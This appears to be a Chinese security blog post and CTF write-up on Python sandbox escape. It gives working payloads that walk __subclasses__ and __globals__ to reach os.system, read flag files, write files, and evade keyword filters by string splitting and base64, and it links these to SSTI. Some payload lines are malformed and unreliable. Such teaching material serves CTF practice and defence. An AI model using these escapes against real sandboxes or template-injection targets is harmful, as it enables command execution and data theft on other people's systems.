Ethan's Blog

python 沙盒逃逸

字数统计: 4.6k阅读时长: 19 min
2018/10/04 Share
题记:

闲来无事,加上之前第十一届全国大学生信息安全竞赛创新能力实践赛线下赛的时候,碰见过python沙盒的题目,于是乎想深入了解一下,故有此篇!

基础知识:

沙箱:

沙箱是一种按照安全策略限制程序行为的执行环境。早期主要用于测试可疑软件等,比如黑客们为了试用某种病毒或者不安全产品,往往可以将它们在沙箱环境中运行。
  经典的沙箱系统的实现途径一般是通过拦截系统调用,监视程序行为,然后依据用户定义的策略来控制和限制程序对计算机资源的使用,比如改写注册表,读写磁盘等。

沙箱逃逸,就是在给我们的一个代码执行环境下(Oj或使用socat生成的交互式终端),脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。

内建名称空间 builtins

​ 在启动Python解释器之后,即使没有创建任何的变量或者函数,还是会有许多函数可以使用,这些函数就是内建函数,并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始
​ 名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间

  • 内建名称空间
  • 全局名称空间

这里我们主要关注的是内建名称空间,是名字到内建对象的映射,,在python中,初始的builtins模块提供内建名称空间到内建对象的映射
dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些.

1
`>>> dir()['__builtins__', '__doc__', '__name__', '__package__']>>> import os>>> dir()['__builtins__', '__doc__', '__name__', '__package__', 'base64', 'os']`

这里面,我们可以看到__builtins__是做为默认初始模块出现的,那么用dir()命令看看__builtins__的成分

从里面我们可以看到一些我们经常用到的函数:open(),eval(),len(),__import__,以及我们刚才用的dir()函数,还有我们要用的一些对象诸如list,dict,tuple,int,float这些,然后还有一些异常啥的。当然,这里面最关键的就是__import__了,可以使用import函数的话,就可以导入任意模块了。

python中的类继承,两个魔术方法,全局变量

类继承

python中对一个变量应用__class__方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法

  • __base__ 对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法

  • __mro__ 同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到

  • __subclasses__() 继承此对象的子类,返回一个列表

有这些类继承的方法,我们就可以从任何一个变量,顺藤摸瓜到基类中去,再获得到此基类所有实现的类,就可以获得到很多的类啦,当然,这些类还只是直接继承object的,如果我们顺着子类往下摸说不定还能找到更多

python中一切均为对象,均继承object对象,python的object类中集成了很多的基础函数,我们想要调用的时候也是需要用object去操作的,总结了两种创建object的方法如下(还有更多)

1
2
3
4
5
6
7
[].__class__.__bases__[0]
''.__class__.__mro__[-1]

>>>[].__class__.__bases__[0]
<type 'object'>
>>>''.__class__.__mro__[-1]
<type 'object'>
两个魔术方法

第一个是类具有的——__dict__魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 首先使用dir看下[]里支持的方法,属性等
>>> dir([])
['__add__',.....省略..... '__subclasshook__', 'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove', 'reverse', 'sort']

# 在将[]实例转化为class类型后,我们就可以使用class这个类的__dict__方法,以字典的格式列出来这个类中所支持的方法,属性
>>> [].__class__.__dict__
dict_proxy({'__getslice__': <slot wrapper '__getslice__' of 'list' objects>, '__getattribute__': <slot wrapper '__getattribute__' of 'list' objects>, 'pop': <method 'pop' of 'list' objects>, 'remove': <method 'remove' of 'list' objects>, .......省略...... '__hash__': None, '__ge__': <slot wrapper '__ge__' of 'list' objects>})

# 通过__dict__来间接选用append方法
>>> [].__class__.__dict__['append']
<method 'append' of 'list' objects>
# 然后尝试调用,第一个对应append方法的实例对象,第二个为方法的参数(哎,和java的反射好像啊,莫非这就是反射?)
>>> a = []
>>> [].__class__.__dict__['append'](a, 'firstEle')
>>> print a
['firstEle']

第二个是实例、类、函数都具有的——__getattribute__魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
# 通过dir()看下实例,类,函数里的情况,都能看到__getattribute这个魔术方法的存在

\>>> dir([]) #实例

\>>> dir([].__class__) #类

\>>> dir([].append) #函数


先介绍在函数中的应用吧,这个魔术方法的绕过作用经常在函数中用到

\# 首先定位到一个函数上

\>>> [].__class__.__base__.__subclasses__()[72] #定位到类

<class 'site._Printer'>

\>>> [].__class__.__base__.__subclasses__()[72].__init__ #定位到__init__函数

<unbound method _Printer.__init__>

\# 还是用dir看下函数里支持的内容,可以看到__getattribute__这个方法是支持的,另外多嘴一句:

\# 怎么看一个东西是函数,是对象呢,函数中总会支持__call__方法,而对象没有,可以通过这点来判断

\>>> dir([].__class__.__base__.__subclasses__()[72].__init__)

['__call__', '__class__', '__cmp__', '__delattr__', '__doc__', '__format__', '__func__', '__get__', '__getattribute__', '__hash__', '__init__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__self__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'im_class', 'im_func', 'im_self']

\# 通过__getattribute__方法,我们可以获得到函数中所支持的所有属性,当然目的就是要调用__init__函数中的__globals__啦

\>>> [].__class__.__base__.__subclasses__()[72].__init__.__getattribute__('__globals__')



然后介绍在实例中的应用

\>>> a = []

\# 这里做个小对比,第一个是a的append方法,所以显示是个内建方法,第二个是list类的append所以显示的与前一个不同,第二个在调用的时候还需要指定好调用这个方法的对象

\>>> a.__getattribute__('append')

<built-in method append of list object at 0x057D93F0>

\>>> a.__class__.append

<method 'append' of 'list' objects>

\>>> a.__getattribute__('append')('firstEle')

\>>> a.__class__.append(a,'secondEle')

\>>> print a

['firstEle', 'secondEle']



最后介绍在类中的应用,其实还是实例上的应用,其产生的结果与__dict__不同,目前感觉用处不大

\# 首先测试使用__dict__调用[].__class__的__init__方法

\>>> [].__class__.__dict__['__init__']

<slot wrapper '__init__' of 'list' objects>

\# 再测试使用__getattribute__调用[].__class__的__init__方法

\>>> [].__class__.__getattribute__([],'__init__')

<method-wrapper '__init__' of list object at 0x057D44B8>

可以看到第一个返回的是个方法,第二个返回一个实例空间的方法,实际我们在调用

[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']

的时候,只有第一种方法获得的init,也就是<slot wrapper '__init__' of 'list' objects>类型的__init__,才具有__globals

了解上面这些是有些用处的,沙盒逃逸中有个很重要的方法就是:从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数,而上面的叙述一个是为了讲清为什么要用这个流程,另一方面就是介绍了两种魔术方法,能够以字符串的形式调用属性,提供了一些字符绕过的可能

补充:

globals:
​ 该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量

关于全局变量解释代码:

1
2
3
4
5
6
7
8
a = lambda x:x+1 #定义一个匿名函数
dir(a)
['__call__', '__class__', '__closure__', '__code__', '__defaults__', '__delattr__', '__dict__', '__doc__', '__format__', '__get__', '__getattribute__', '__globals__', '__hash__', '__init__', '__module__', '__name__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'func_closure', 'func_code', 'func_defaults', 'func_dict', 'func_doc', 'func_globals', 'func_name']
a.__globals__
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7fcd7601ccf8>, '__package__': None}
a.func_globals
{'__builtins__': <module '__builtin__' (built-in)>, '__name__': '__main__', '__doc__': None, 'a': <function <lambda> at 0x7f1095d72cf8>, '__package__': None}
(lambda x:1).__globals__['__builtins__'].eval("__import__('os').system('ls')")
1
2
3
4
5
6
`[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os']`
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].system('dir')
#下面也是可以执行任意命令,这里就不一一阐述了,道理类似
[].__class__.__base__.__subclasses__()[72].__init__.__globals__['os'].popen('dir') [].__class__.__base__.__subclasses__([59].__init__.__globals__['linecache'].__dict__['os'].system('ls') [].__class__.__base__.__subclasses__([59].__init__.func_globals['linecache'].__dict__.values()[12].system('ls')
#python3
''.__class__.__mro__[2].__subclasses__([59].__init__.func_globals.values()[13]['eval'] "".__class__.__mro__[-1].__subclasses__([117].__init__.__globals__['__builtins__']['eval']

常见的实战应用场景

直接的代码环境

常见的就是各种提供在线代码运行的网站,还有一些虚拟环境,以及一些编程练习网站,这种来说一般过滤较少,很容易渗透,但是getshell之后会相当麻烦,大多数情况下这类网站的虚拟机不仅与物理系统做了隔离还删除了很多内网渗透时实用的工具比如ifconfig之类的,后渗透工作相当的费工夫

提供的python交互式shell

这种情况较为少见,但是总体来说根据业务场景的不同一般会做很多的限制,但总体来说还是比较容易突破防御的

SSTI(服务端模板注入)

SSTI的情况下,模板的解析就是在一个被限制的环境中的 在flask框架动态拼接模板的时候,使用沙盒逃逸是及其致命的,flask一般直接部署在物理机器上面,getshell可以拿到很大的权限.和常见Web注入的成因一样,也是服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

python jinja2注入参考: http://www.freebuf.com/articles/system/97146.html

正文:

通过以上分析,我们大概了解了python沙盒逃逸的原理,通过python内建函数和类继承的特性(事实上通过我们这样分析,其实我们知道不知python有这样的特性,java,js也有,也就引出了同样机制语言运行环境的安全性问题)。其实就像一棵大树,它是用众多模块组成,但是这棵树总有那么多个基础模块不止一个部位用。对于python来说,映射为那些被其他内建函数导入的模块,如与系统交互的os,sys库,当利用这个特性时,不须导入os库,只需通过引用的方式即可。

实例演示:

一般想要 GetShell 引用下面这三个库就行了

  • os
  • subprocess
  • commands

但是当这三个库都被禁用的时候还有另一种方法就是上面提到的魔术代码, 其中有一些内置的模块已经提前加载了 os

1
2
3
<class 'site._Printer'>
<class 'site.Quitter'>
<class 'warnings.catch_warnings'>

在这里我使用 warnings.catch_warnings 做介绍:
首先获取 warnings.catch_warnings 在 object 类中的位置

1
2
3
4
5
6
7
import warnings
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
60
[].__class__.__base__.__subclasses__()[60]
<class 'warnings.catch_warnings'>
[].__class__.__base__.__subclasses__()[60].__init__.func_globals.keys()
['filterwarnings', 'once_registry', 'WarningMessage', '_show_warning', 'filters', '_setoption', 'showwarning', '__all__', 'onceregistry', '__package__', 'simplefilter', 'default_action', '_getcategory', '__builtins__', 'catch_warnings', '__file__', 'warnpy3k', 'sys', '__name__', 'warn_explicit', 'types', 'warn', '_processoptions', 'defaultaction', '__doc__', 'linecache', '_OptionError', 'resetwarnings', 'formatwarning', '_getaction']

查看 linecache(操作文件的函数)

1
2
`[].__class__.__base__.__subclasses__([60].__init__.func_globals['linecache'].__dict__.keys()`
`['updatecache', 'clearcache', '__all__', '__builtins__', '__file__', 'cache', 'checkcache', 'getline', '__package__', 'sys', 'getlines', '__name__', 'os', '__doc__']`

可以看到这里调用了 os 模块, 所以可以直接调用 os 模块

1
2
3
4
a=[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

a
<module 'os' from '*****\python27\lib\os.pyc'>

接着要调用 os 的 system 方法, 先查看 system 的位置:

1
2
3
4
5
6
7
8
a.__dict__.keys().index('system')
79
a.__dict__.keys()[79]
'system'
b=a.__dict__.values()[79]
b
<built-in function system>
b('whoami')
Waf Bypass:

当有的字符串被 waf 的时候可以通过编码或者字符串拼接绕过
base64:

1
2
3
().__class__.__bases__[0].__subclasses__()[40]('r','ZmxhZy50eHQ='.decode('base64')).read()
相当于:
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

字符串拼接:

1
2
3
().__class__.__bases__[0].__subclasses__()[40]('r','fla'+'g.txt')).read()
相当于
().__class__.__bases__[0].__subclasses__()[40]('r','flag.txt')).read()

reload方法:

1
2
3
4
5
del __builtins__.__dict__['__import__'] # __import__ is the function called by the import statement

del __builtins__.__dict__['eval'] # evaluating code could be dangerous
del __builtins__.__dict__['execfile'] # likewise for executing the contents of a file
del __builtins__.__dict__['input'] # Getting user input and evaluating it might be dangerous

当没有过滤reload函数时,我们可以重载builtins

1
reload(__builtins__)

即可恢复删除的函数。

当不能通过[].class.base.subclasses([60].init.func_globals[‘linecache’].dict.values()[12]直接加载 os 模块
这时候可以使用getattribute+ 字符串拼接 / base64 绕过 例如:

1
[].__class__.__base__.__subclasses__()[60].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__.values()[12]

等价于:

1
[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__.values()[12]

dictglobals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问

getattr() 和 getattribute()

python 再访问属性的方法上定义了getattr() 和 getattribute() 2种方法,其区别非常细微,但非常重要。

如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
这里,我们可以通过getattribute这个方法做一些事,如下面的payload

1
2
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

示例payload:

1
2
3
4
5
6
7
8
9
10
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval

']('__import__("os").popen("ls /var/www/html").read()' )
题目分析:

2018年国赛的Python沙盒题目上,import 其实整个是被阉割了。

但是在Python中,原生的import是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容。

我们可以通过

1
print ().__class__.__bases__[0].__subclasses__()[40]("/home/ctf/sandbox.py").read()

获取题目源码,然后进一步分析

发现很多库还有一些linux命令都被ban了

这里提供三种姿势,当然不止三种:

利用python对字符的处理:

payload:

1
2
3
4
x =[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__#遍历子类寻找warnings.catch_warnings
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/flag')

间接引用
​ 在不断的dir过程中,发现closure 这个object保存了参数,可以引用原生的import

1
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s ')

getattribute+ 字符串拼接:

1
print ().__class__.__bases__[0].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t'+' /home/ctf/flag')
番外知识:

在python2.7里,
[].class.base.subclasses() 里面有很多库调用了我们需要的模块os

1
2
3
4
5
6
7
8
/usr/lib/python2.7/warning.py
58 <class 'warnings.WarningMessage'>
59 <class 'warnings.catch_warnings'>
40 < type 'file'>
/usr/lib/python2.7/site.py
71 <class 'site._Printer'>
72 <class 'site._Helper'>
76 <class 'site.Quitter'>

我们来看一下/usr/lib/python2.7/warning.py导入的模块

1
2
3
import linecache
import sys
import types

跟踪linecache文件/usr/lib/python2.7/linecache.py

1
2
import sys
import os

不需要利用__globals__就可以执行命令的payload:

1
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')
python中可以执行任意代码的神奇函数

(1)timeit

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

(2)execeval 比较经典了

1
eval('__import__("os").system("dir")')

(3)platform

1
2
import platform
print platform.popen('dir').read()
更多姿势:

so注入参考:: https://github.com/t3ls/CISCN2018-Xopowo-writeup

此姿势通过构造执行命令的so库,然后通过使用ctypes加载so

使用的类:

1
2
3
<type 'file'>
<class 'ctypes.CDLL'>
<class 'ctypes.LibraryLoader'>
Think one Think:

python沙盒基本思路:

  • 首先判断python版本,版本不同相应类和函数的位置也不一定相同。

  • 接下先按经验来,比如若类中有file,考虑读写操作

  • 若类中有<class 'warnings.WarningMessage'>,考虑从.__init__.func_globals.values()[13]获取eval,map等等;又或者从.__init__.func_globals[linecache] 得到os。 若类中有<type 'file'>,<class 'ctypes.CDLL'>,<class 'ctypes.LibraryLoader'>,考虑构造so文件。

  • timeit考虑time based rce(类似sleep盲注,这里都不用我们计算时间,时间由其返回)

    参考链接:https://www.secpulse.com/archives/65568.html

    以上方法皆不行,或者相应方法皆被删除,且不能reload时,那就只能耐下性子,淘尽沙子始得金,慢慢遍历子类,找到能用的,最后考虑利用内存破坏之类的知识。因为python模块通常也只是c的封装,所以肯定会有未发现内存破坏漏洞,利用漏洞就有可能突破python的沙盒环境。

    参考连接:http://developer.51cto.com/art/201710/555049.htm

CATALOG
  1. 1. 题记:
  • 基础知识:
    1. 1. 沙箱:
    2. 2. 内建名称空间 builtins
    3. 3. 两个魔术方法
    4. 4. 补充:
  • 常见的实战应用场景
    1. 1. 直接的代码环境
    2. 2. 提供的python交互式shell
    3. 3. SSTI(服务端模板注入)
  • 正文:
    1. 1. 实例演示:
    2. 2. Waf Bypass:
    3. 3. 题目分析:
    4. 4. 番外知识:
    5. 5. python中可以执行任意代码的神奇函数
    6. 6. 更多姿势:
    7. 7. Think one Think: